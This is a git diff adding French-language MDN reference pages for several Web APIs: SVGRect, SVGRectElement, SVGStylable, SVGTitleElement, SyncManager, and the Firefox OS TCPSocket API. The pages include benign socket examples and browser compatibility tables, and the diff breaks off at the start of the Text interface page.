+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
diff --git a/files/fr/web/api/svgrect/index.html b/files/fr/web/api/svgrect/index.html
new file mode 100644
index 0000000000..520fe67d48
--- /dev/null
+++ b/files/fr/web/api/svgrect/index.html
@@ -0,0 +1,134 @@
+---
+title: SVGRect
+slug: Web/API/SVGRect
+tags:
+  - Rectangle
+translation_of: Web/API/SVGRect
+---
+<h2 id="Interface_SVG_rect">Interface SVG rect</h2>
+
+<p><code>SVGRect</code> représente la géométrie rectangulaire. Les rectangles consistent en une paire de coordonnées (x,y) correspondant à une valeur X minimale, une valeur Y minimale, et une largeur et hauteur, lesquelles sont habituellement positives.</p>
+
+<p>Un objet <code>SVGRect </code>peut être marqué en lecture-seule, ce qui signifie que les tentatives de modification sur cet objet entraîneront un lancement d'exception.</p>
+
+<h3 id="Vue_d'ensemble_de_l'interface">Vue d'ensemble de l'interface</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Implémente aussi</th>
+   <td><em>Aucune</em></td>
+  </tr>
+  <tr>
+   <th scope="row">Méthodes</th>
+   <td><em>Aucune</em></td>
+  </tr>
+  <tr>
+   <th scope="row">Propriétés</th>
+   <td>
+    <ul>
+     <li>float <code>x</code></li>
+     <li>float <code>y</code></li>
+     <li>float <code>width</code></li>
+     <li>float <code>height</code></li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Document normatif</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/types.html#InterfaceSVGRect" title="http://www.w3.org/TR/SVG11/types.html#InterfaceSVGRect">SVG 1.1 (2nd Edition)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Nom</th>
+   <th>Type</th>
+   <th>Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>x</code></td>
+   <td>float</td>
+   <td>La coordonnée <em>x</em> du rectangle, en unité utilisateur.</td>
+  </tr>
+  <tr>
+   <td><code>y</code></td>
+   <td>float</td>
+   <td>La coordonnée <em>y</em> du rectangle, en unité utilisateur.</td>
+  </tr>
+  <tr>
+   <td><code>width</code></td>
+   <td>float</td>
+   <td>La largeur <em>width</em> du rectangle, en unité utilisateur.</td>
+  </tr>
+  <tr>
+   <td><code>height</code></td>
+   <td>float</td>
+   <td>La hauteur <em>height</em> du rectangle, en unité utilisateur.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><strong>Exceptions à l'affectation :</strong> une <code><a href="DOMException" rel="custom">DOMException</a></code> avec le code <code>NO_MODIFICATION_ALLOWED_ERR</code> est levée lors d'une tentative de modification d'un attribut en lecture-seule.</p>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p>L'interface <code>SVGRect</code> ne fournit pas de méthode spécifique.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
diff --git a/files/fr/web/api/svgrectelement/index.html b/files/fr/web/api/svgrectelement/index.html
new file mode 100644
index 0000000000..98104ed8b1
--- /dev/null
+++ b/files/fr/web/api/svgrectelement/index.html
@@ -0,0 +1,69 @@
+---
+title: SVGRectElement
+slug: Web/API/SVGRectElement
+translation_of: Web/API/SVGRectElement
+---
+<div>{{APIRef("SVG")}}</div>
+
+<p>L'interface <code>SVGRectElement</code> fournit un accès aux propriétés et aux méthodes de l'élément {{SVGElement("rect")}}.</p>
+
+<p>{{InheritanceDiagram(600, 140)}}</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Cette interface hérite aussi des propriétés de </em><em>{{domxref("SVGGeometryElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("SVGRectElement.x")}} {{ReadOnlyInline}}</dt>
+ <dd>Retourne un {{domxref("SVGAnimatedLength")}} correspondant à l'attribut {{SVGAttr("x")}} de l'élément {{SVGElement("rect")}} donné.</dd>
+ <dt>{{domxref("SVGRectElement.x")}} {{ReadOnlyInline}}</dt>
+ <dd>Retourne un {{domxref("SVGAnimatedLength")}}  correspondant à l'attribut {{SVGAttr("x")}} de l'élément {{SVGElement("rect")}} donné.</dd>
+ <dt>{{domxref("SVGRectElement.y")}} {{ReadOnlyInline}}</dt>
+ <dd>Retourne un {{domxref("SVGAnimatedLength")}} correspondant à l'attribut {{SVGAttr("y")}} de l'élément {{SVGElement("rect")}} donné.</dd>
+ <dt>{{domxref("SVGRectElement.width")}} {{ReadOnlyInline}}</dt>
+ <dd>Retourne un {{domxref("SVGAnimatedLength")}} correspondant à l'attribut {{SVGAttr("width")}} de l'élément {{SVGElement("rect")}} donné.</dd>
+ <dt>{{domxref("SVGRectElement.height")}} {{ReadOnlyInline}}</dt>
+ <dd>Retourne un {{domxref("SVGAnimatedLength")}} correspondant à l'attribut {{SVGAttr("height")}} de l'élément {{SVGElement("rect")}} donné.</dd>
+ <dt>{{domxref("SVGRectElement.rx")}} {{ReadOnlyInline}}</dt>
+ <dd>Retourne un {{domxref("SVGAnimatedLength")}} correspondant à l'attribut {{SVGAttr("rx")}} de l'élément {{SVGElement("rect")}} donné.</dd>
+ <dt>{{domxref("SVGRectElement.ry")}} {{ReadOnlyInline}}</dt>
+ <dd>Retourne un {{domxref("SVGAnimatedLength")}} correspondant à l'attribut {{SVGAttr("ry")}} de l'élément {{SVGElement("rect")}} donné.</dd>
+</dl>
+
+<h2 id="Méthode">Méthode</h2>
+
+<p><em>Cette interface n'implémente pas de méthodes spécifiques mais elle hérite des méthodes parentes de <em>{{domxref("SVGGeometryElement")}}</em></em>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG2", "shapes.html#InterfaceSVGRectElement", "SVGRectElement")}}</td>
+   <td>{{Spec2('SVG2')}}</td>
+   <td>Remplace l'héritage de {{domxref("SVGElement")}}{{domxref("SVGTests")}}, {{domxref("SVGLangSpace")}}, {{domxref("SVGExternalResourcesRequired")}}, {{domxref("SVGStylable")}} et {{domxref("SVGTransformable")}} par {{domxref("SVGGeometryElement")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("SVG1.1", "shapes.html#InterfaceSVGRectElement", "SVGRectElement")}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.SVGRectElement")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{SVGElement("rect")}}</li>
+</ul>
diff --git a/files/fr/web/api/svgstylable/index.html b/files/fr/web/api/svgstylable/index.html
new file mode 100644
index 0000000000..7bb1f743fa
--- /dev/null
+++ b/files/fr/web/api/svgstylable/index.html
@@ -0,0 +1,97 @@
+---
+title: SVGStylable
+slug: Web/API/SVGStylable
+tags:
+  - API
+  - Reference
+  - SVG
+  - SVG DOM
+translation_of: Web/API/SVGStylable
+---
+<div>{{APIRef("SVG")}}</div>
+
+<h2 id="Interface_SVG_stylisable">Interface SVG stylisable</h2>
+
+<p>L'interface <code>SVGStylable</code> est implémentée sur tout les objets SVG pouvant avoir des attributs {{ SVGAttr("style") }}, {{SVGAttr("class")}} ou d'autre attributs modifiants leur présentation, leur affichage.</p>
+
+<h3 id="Aperçu_de_l'interface">Aperçu de l'interface</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Implémente aussi</th>
+   <td><em>/</em></td>
+  </tr>
+  <tr>
+   <th scope="row">Métodes</th>
+   <td>
+    <ul>
+     <li>{{ domxref("CSSValue") }} <code>getPresentationAttribute(in {{ domxref("DOMString") }} name)</code></li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Propriétés</th>
+   <td>
+    <ul>
+     <li>readonly {{ domxref("SVGAnimatedString") }} <code>className</code></li>
+     <li>readonly {{ domxref("CSSStyleDeclaration") }} <code>style</code></li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Norme</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/types.html#InterfaceSVGStylable" title="http://www.w3.org/TR/SVG11/types.html#InterfaceSVGStylable">SVG 1.1 (2e Édition)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Nom</th>
+   <th>Type</th>
+   <th>Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>className</code></td>
+   <td>{{ domxref("SVGAnimatedString") }}</td>
+   <td>Correspond à l'attribut {{ SVGAttr("class") }} de l'élément donné.</td>
+  </tr>
+  <tr>
+   <td><code>style</code></td>
+   <td>{{ domxref("CSSStyleDeclaration") }}</td>
+   <td>Correspond à l'attribut {{ SVGAttr("style") }} de l'élément donné.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Métodes">Métodes</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Nom &amp; Arguments</th>
+   <th>Retourne</th>
+   <th>Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code><strong>getPresentationAttribute</strong>(in {{ domxref("DOMString") }} <em>name</em>)</code></td>
+   <td>{{ domxref("CSSValue") }}</td>
+   <td>Retourne la valeur par défaut (ex: static) d'un attribut de présentation donné comme un objet de type {{ domxref("CSSValue") }}.<br>
+    The returned object is live; changes to the objects represent immediate changes to the objects to which the {{ domxref("CSSValue") }} is attached.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_entre_les_navigateurs">Compatibilité entre les navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.SVGStylable")}}</p>
diff --git a/files/fr/web/api/svgtitleelement/index.html b/files/fr/web/api/svgtitleelement/index.html
new file mode 100644
index 0000000000..407fc04f73
--- /dev/null
+++ b/files/fr/web/api/svgtitleelement/index.html
@@ -0,0 +1,98 @@
+---
+title: SVGTitleElement
+slug: Web/API/SVGTitleElement
+tags:
+  - Interface Title SVG
+  - SVG
+  - SVG DOM
+  - Title
+translation_of: Web/API/SVGTitleElement
+---
+<div>{{APIRef("SVG")}}</div>
+
+<h2 id="Interface_DOM_de_l'élément_SVG_title">Interface DOM de l'élément SVG <code>title</code></h2>
+
+<p>L'interface <code>SVGTitleElement</code> correspond à l'élément {{ SVGElement("title") }}.</p>
+
+<h3 id="Aperçu_de_l'interface">Aperçu de l'interface</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Implémente aussi</th>
+   <td>{{ domxref("SVGElement") }}, {{ domxref("SVGLangSpace") }}, {{ domxref("SVGStylable") }}</td>
+  </tr>
+  <tr>
+   <th scope="row">Metodes</th>
+   <td><em>Aucunes</em></td>
+  </tr>
+  <tr>
+   <th scope="row">Propritiétés</th>
+   <td><em>Aucunes</em></td>
+  </tr>
+  <tr>
+   <th scope="row">Norme</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG11/struct.html#InterfaceSVGTitleElement" title="http://www.w3.org/TR/SVG11/struct.html#InterfaceSVGTitleElement">SVG 1.1 (2nd Edition)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p>L'interface <code>SVGTitleElement</code> n'a pas de propriétés spécifiques.</p>
+
+<h2 id="Metodes">Metodes</h2>
+
+<p>L'interface <code>SVGTitleElement</code> n'a pas de métodes spécifiques.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité entre les navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
diff --git a/files/fr/web/api/syncmanager/index.html b/files/fr/web/api/syncmanager/index.html
new file mode 100644
index 0000000000..42819bb886
--- /dev/null
+++ b/files/fr/web/api/syncmanager/index.html
@@ -0,0 +1,46 @@
+---
+title: SyncManager
+slug: Web/API/SyncManager
+translation_of: Web/API/SyncManager
+---
+<p>{{APIRef("Service Workers API")}}{{Non-standard_header}}</p>
+
+<p>L'interface <strong><code>SyncManager</code></strong> de l' <a href="/en-US/docs/Web/API/ServiceWorker_API">API ServiceWorker </a> fournit une interface pour l'enregistrement et la liste des sync registrations.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p>None.</p>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("SyncManager.register")}}</dt>
+ <dd>Créé une nouvelle sync registration et retourne une {{jsxref("Promise")}}</dd>
+ <dt>{{domxref("SyncManager.getTags")}}</dt>
+ <dd>Renvoie une liste d'identifiants définis par le développeur pour l'enregistrement  du SyncManager.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Background Sync','#sync-manager-interface','SyncManager')}}</td>
+   <td>{{Spec2('Background Sync')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility"><span style="font-size: 2.14285714285714rem;">Browser compatibility</span></h2>
+
+<div>
+
+
+<p>{{Compat("api.SyncManager")}}</p>
+</div>
diff --git a/files/fr/web/api/tcp_socket_api/index.html b/files/fr/web/api/tcp_socket_api/index.html
new file mode 100644
index 0000000000..c8b06f46c4
--- /dev/null
+++ b/files/fr/web/api/tcp_socket_api/index.html
@@ -0,0 +1,121 @@
+---
+title: API TCP Socket
+slug: Web/API/TCP_Socket_API
+translation_of: Archive/B2G_OS/API/TPC_Socket_API
+---
+<p>{{DefaultAPISidebar("TCP Socket API")}}</p>
+
+<p>{{ non-standard_header() }}</p>
+
+<p>{{ B2GOnlyHeader2('privileged') }}</p>
+
+<h2 id="Résumé">Résumé</h2>
+
+<p>L'API TCPSocket se propose d'ouvrir et d'utiliser une connexion TCP. Cela permet de mettre en œuvre des protocoles de la couche supérieure à TCP comme IMAP, IRC, POP, HTTP, etc., ou même d'en créer de nouveaux pour des besoins spécifiques.</p>
+
+<h2 id="Permission">Permission</h2>
+
+<p>Pour utiliser cette API, comme pour toutes les API privilégiées, il est nécessaire de demander l'autorisation de l'utiliser dans l'application <a href="/fr/Apps/Manifeste" title="/fr/docs/Web/Apps/Manifest">app manifeste</a>.</p>
+
+<pre class="brush: json">"permissions" : {
+  "tcp-socket" : {
+    "description" : "Create TCP sockets and communicate over them."
+  }
+}</pre>
+
+<h2 id="Aperçu">Aperçu</h2>
+
+<p>Cette API est disponible à travers la propriété {{domxref("Navigator.mozTCPSocket","mozTCPSocket")}} qui est elle-même un objet {{domxref("TCPSocket")}}.</p>
+
+<h3 id="Ouverture_d'un_socket">Ouverture d'un socket</h3>
+
+<p>L'ouverture d'un socket est fait avec la méthode {{domxref("TCPSocket.open()")}}. Cette méthode peut avoir jusqu'à trois paramètres:</p>
+
+<ol>
+ <li>Une chaîne représentant le nom du serveur auquel se connecter (il peut aussi être son adresse IP brute).</li>
+ <li>Un nombre représentant le port TCP à utiliser par la socket (certains protocoles ont un port standard, par exemple 80 pour HTTP, 447 pour SSL, 25 pour SMTP, etc. Les numéros de port au-delà de 1024 ne sont pas assignés à un protocole spécifique et peuvent être utilisés pour d'autres fins.)</li>
+ <li>Un objet optionnel contenant jusqu'à deux paramétres : un booléen nommé <code>useSecureTransport</code>, <code>false</code> par défaut, est nécessaire pour utiliser SSL, ; et une chaîne nommée <code>binaryType</code> permet d'indiquer le type de données récupérées par l'application à travers l'événement {{event("data")}}, avec les valeurs attendues <code>string</code> par défaut ou <code>arraybuffer</code>.</li>
+</ol>
+
+<pre class="brush: js">var socket = navigator.mozTCPSocket.open('localhost', 80);</pre>
+
+<div class="note">
+<p><strong>Note: </strong> Seulement les applications certifiées peuvent utiliser un port inférieur à 1024.</p>
+</div>
+
+<h3 id="Ecoute_des_connexions">Ecoute des connexions</h3>
+
+<p>L'écoute des connexions se fait avec les méthodes {{domxref("TCPSocket.listen()")}}. Cette méthode prévoit jusqu'à trois paramètres:</p>
+
+<ol>
+ <li>Un nombre représentant le port TCP à utiliser pour écouter les connexions.</li>
+ <li>Un objet facultatif spécifiant les détails de la réception. Cet objet attend une propriété appelée <code>binaryType</code>, qui est une chaîne qui peut avoir deux valeurs possibles: "string" ou "ArrayBuffer". Si la valeur est "ArrayBuffer" alors le {{domxref("TCPSocket.send()")}} utilise {{domxref("ArrayBuffer")}} et les données reçues seront également disponible dans ce format.</li>
+ <li>Un nombre représentant la longueur maximale de la file d'attente des connexions en attente.</li>
+</ol>
+
+<pre class="brush: js">var socket = navigator.mozTCPSocket.listen(8080);</pre>
+
+<div class="note">
+<p><strong>Note: </strong> Seulement applications certifiées peuvent écouter sur un port inférieur à 1024.</p>
+</div>
+
+<h3 id="Envoi_de_données">Envoi de données</h3>
+
+<p>L'envoi de données se fait en utilisant la méthode {{domxref("TCPSocket.send()")}}. Les données envoyées peuvent au format chaîne ou <code><a href="/fr/docs/JavaScript/Typed_arrays/Uint8Array" title="/fr/docs/JavaScript/Typed_arrays/Uint8Array">Uint8Array</a></code>; Cependant, rappelez-vous qu'un socket TCP travail avec les données binaires. Pour cette raison, il est beaucoup plus sûr d'utiliser <code><a href="/fr/docs/JavaScript/Typed_arrays/Uint8Array" title="/fr/docs/JavaScript/Typed_arrays/Uint8Array">Uint8Array</a></code> à la place d'une chaîne lors de l'envoi des données.</p>
+
+<p>Pout protocole TCP, il vaut mieux envoyer 64 Ko maximum de données en même temps. Quand moins de 64kb ont été tamponnés, un appel à la méthode {{domxref("TCPSocket.send()","send")}} retourne <code>true</code>. Si le tampon est plein, la méthode renverra <code>false</code> pour indiquer que l'application devra faire une pause pour vider le tampon. Chaque fois que le tampon est vidé, un événement {{event("drain")}} est déclenché et l'application peut reprendre envoi de données.</p>
+
+<p>Il est possible de connaître exactement la quantité de données en mémoire tampon avec la propriété {{domxref("TCPSocket.bufferedAmount")}} .</p>
+
+<pre class="brush: js">function getData() {
+  var data;
+
+  // récupérer les données
+
+  return data;
+}
+
+function pushData() {
+  var data;
+
+  do {
+    data = getData();
+  } while (data != null &amp;&amp; socket.send(data));
+}
+
+// Chaque fois que le tampon est vidé
+// Nous essayons à nouveau d'envoyer des données.
+socket.ondrain = pushData;
+
+// Lancer l'envoi de données.
+pushData();
+</pre>
+
+<h3 id="Recevoir_les_données">Recevoir les données</h3>
+
+<p>Chaque fois que le socket reçoit des données de l'hôte, il déclenche un événement {{event("data")}}. Cet événement donnera accès aux données du socket. Le type de données dépend de l'ensemble des options définies lorsque le socket a été ouvert (voir ci-dessus).</p>
+
+<pre class="brush: js">socket.ondata = function (event) {
+  if (typeof event.data === 'string') {
+    console.log('Get a string: ' + event.data);
+  } else {
+    console.log('Get a Uint8Array');
+  }
+}</pre>
+
+<p>Comme l'événement {{event("data")}} est déclenché autant que nécessaire, il peut parfois être nécessaire d'interrompre le flux de données entrants. À cette fin, l'appel de la méthode {{domxref("TCPSocket.suspend()")}} mettra en pause la lecture des données entrantes et cessera le déclenchement de {{event("data")}}. Il est possible de recommencer la lecture des données en appelant la méthode {{domxref("TCPSocket.resume()")}} .</p>
+
+<h3 id="Fermeture_d'un_socket">Fermeture d'un socket</h3>
+
+<p>La fermeture d'un socket se fait simplement en utilisant {{domxref("TCPSocket.close()")}}.</p>
+
+<h2 id="Standard">Standard</h2>
+
+<p>Ne fait partie d'aucune spécification; Toutefois, cette API est discuté au sein du W3C dans le cadre du <a href="http://www.w3.org/2012/sysapps/" title="http://www.w3.org/2012/sysapps/">groupe de travail Applications Système</a> sous la dénomination de <a href="http://www.w3.org/TR/2015/NOTE-tcp-udp-sockets-20150723/">RAW sockets</a>.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("TCPSocket")}}</li>
+ <li><a href="https://github.com/soapdog/firefoxos-sample-app-telnet-client" title="Firefox OS Simple Telnet Sample App">Firefox OS Simple Telnet Sample App</a></li>
+</ul>
diff --git a/files/fr/web/api/tcpsocket/index.html b/files/fr/web/api/tcpsocket/index.html
new file mode 100644
index 0000000000..c0413ef9fc
--- /dev/null
+++ b/files/fr/web/api/tcpsocket/index.html
@@ -0,0 +1,102 @@
+---
+title: TCPSocket
+slug: Web/API/TCPSocket
+translation_of: Archive/B2G_OS/API/TCPSocket
+---
+<p>{{APIRef("Firefox OS")}}</p>
+
+<p>{{ non-standard_header() }}</p>
+
+<p>{{ B2GOnlyHeader2('privileged') }}</p>
+
+<h2 id="Résumé">Résumé</h2>
+
+<p>L'interface <strong> <code>TCPSocket</code> </strong> permet d'accéder à un socket TCP brut.</p>
+
+<p>Le principal point de cette API d'entrée est la propriété{{domxref("navigator.mozTCPSocket")}} qui est un object <code>TCPSocket</code>.</p>
+
+<div class="note">
+<p><strong>Note: </strong> Seulement applications certifiées peuvent accepter des connexions entrantes sur un port en dessous de 1024.</p>
+</div>
+
+<h2 id="Aperçu_de_l'API">Aperçu de l'API</h2>
+
+<pre>interface TCPSocket{
+  readonly attribute DOMString host;
+  readonly attribute unsigned short port;
+  readonly attribute boolean ssl;
+  readonly attribute unsigned long bufferedAmount;
+  readonly attribute DOMString binaryType;
+  readonly attribute DOMString readyState;
+
+  TCPSocket open(DOMString host, unsigned short port, [object options]);
+  TCPServerSocket listen(unsigned short port, [object options, [unsigned short backlog]]);
+  void upgradeToSecure();
+  void suspend();
+  void resume();
+  void close();
+  boolean send(in jsval data);
+
+  attribute onopen;
+  attribute ondrain;
+  attribute ondata;
+  attribute onerror;
+  attribute onclose;
+};</pre>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("TCPSocket.host")}} {{readonlyinline}}</dt>
+ <dd>Une chaîne représentant le nom du serveur sur le quel le socket est connecté.</dd>
+ <dt>{{domxref("TCPSocket.port")}} {{readonlyinline}}</dt>
+ <dd>Un nombre représentant le port de connexion.</dd>
+ <dt>{{domxref("TCPSocket.ssl")}} {{readonlyinline}}</dt>
+ <dd>Une valeur booléenne indiquant si le socket est cryptée avec SSL (<code>true</code>) ou non (<code>false</code>).</dd>
+ <dt>{{domxref("TCPSocket.bufferedAmount")}} {{readonlyinline}}</dt>
+ <dd>Le nombre d'octets de données dans le tampon qui ne sont pas encore envoyés.</dd>
+ <dt>{{domxref("TCPSocket.binaryType")}} {{readonlyinline}}</dt>
+ <dd>Le type de données utilisé. Valeurs possibles : <code>arraybuffer</code> ou <code>string</code>.</dd>
+ <dt>{{domxref("TCPSocket.readyState")}} {{readonlyinline}}</dt>
+ <dd>L'état de socket. Valeurs possibles : <code>connecting</code>, <code>open</code>, <code>closing</code>, ou <code>closed</code>.</dd>
+</dl>
+
+<h3 id="Gestionnaires_d'Evénements">Gestionnaires d'Evénements</h3>
+
+<dl>
+ <dt>{{domxref("TCPSocket.onopen")}}</dt>
+ <dd>Gestionnaire d'événement {{event("open")}}. Après cet événement, le socket est prêt à envoyer et recevoir des données.</dd>
+ <dt>{{domxref("TCPSocket.ondrain")}}</dt>
+ <dd>Gestionnaire pour l'événement {{event("drain")}}. Cet événement est déclenché chaque fois que le tampon de données est vidé.</dd>
+ <dt>{{domxref("TCPSocket.onerror")}}</dt>
+ <dd>Gestionnaire pour l'événement {{event("error")}}.</dd>
+ <dt>{{domxref("TCPSocket.ondata")}}</dt>
+ <dd>Gestionnaire pour l'événement {{event("data")}}. Cet événement est déclenché chaque fois que les données ont été reçues.</dd>
+ <dt>{{domxref("TCPSocket.onclose")}}</dt>
+ <dd>Gestionnaire pour l'événement {{event("close")}}.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{domxref("TCPSocket.close()")}}</dt>
+ <dd>Ferme la connexion.</dd>
+ <dt>{{domxref("TCPSocket.open()","TCPSocket.open(host, port [, options])")}}</dt>
+ <dd>Renvoie un nouvel objet connecté <code>TCPSocket</code> aux <code>host</code> donnée et au <code>port</code> donné.</dd>
+ <dt>{{domxref("TCPSocket.resume()")}}</dt>
+ <dd>Information sur l'événement <code>data</code>.</dd>
+ <dt>{{domxref("TCPSocket.send()","TCPSocket.send(data)")}}</dt>
+ <dd>Données tampons à envoyer sur le réseau.</dd>
+ <dt>{{domxref("TCPSocket.suspend()")}}</dt>
+ <dd>Suspend l'événement <code>data</code>.</dd>
+</dl>
+
+<h2 id="Spécification">Spécification</h2>
+
+<p>Ne fait partie d'aucune spécification; Toutefois, cette API est discuté au sein du W3C dans le cadre du <a href="http://www.w3.org/2012/sysapps/" title="http://www.w3.org/2012/sysapps/">groupe de travail des applications  système</a> sous la dénomination <a href="http://www.w3.org/2012/sysapps/tcp-udp-sockets/" title="http://www.w3.org/2012/sysapps/tcp-udp-sockets/">API Socket TCP et UDP (anciennement connu sous le nom Raw Sockets API) </a>.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/TCP_Socket_API" title="/fr/docs/WebAPI/TCP_Socket_API">TCP Socket</a></li>
+</ul>
diff --git a/files/fr/web/api/text/index.html b/files/fr/web/api/text/index.html
new file mode 100644
index 0000000000..702acd9d54
--- /dev/null
+++ b/files/fr/web/api/text/index.html
@@ -0,0 +1,234 @@
+---
+title: Text
+slug: Web/API/Text
+tags:
+  - API
+  - DOM
+translation_of: Web/API/Text
+---
+<p>{{ApiRef("DOM")}}</p>
+
+<p>L'interface <strong><code>Text</code></strong> représente le contenu textuel d'un élément {{domxref("Element")}} ou d'un attribut {{domxref("Attr")}}. Si un élément n'a pas de balisage dans son contenu, il a un seul enfant implémentant <code>Text</code> qui contient le texte de l'élément.  Par contre, si l'élément contient un balisage, il est analysé par les éléments d'information et les noeuds <code>Text</code> qui sont ses enfants.</p>
+
+<p>Un nouveau document a un unique noeud <code>Text</code> pour chaque bloc de texte. Au fil du temps, d'autres noeuds peuvent être créés <code>Text</code> en temps que modification du contenu du document.  La méthode {{domxref("Node.normalize()")}}  fusionne les objets <code>Text</code>  dans un seul noeud pour chaque bloc de texte.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Methods" name="Methods">Constructeur</h2>
+
+<dl>
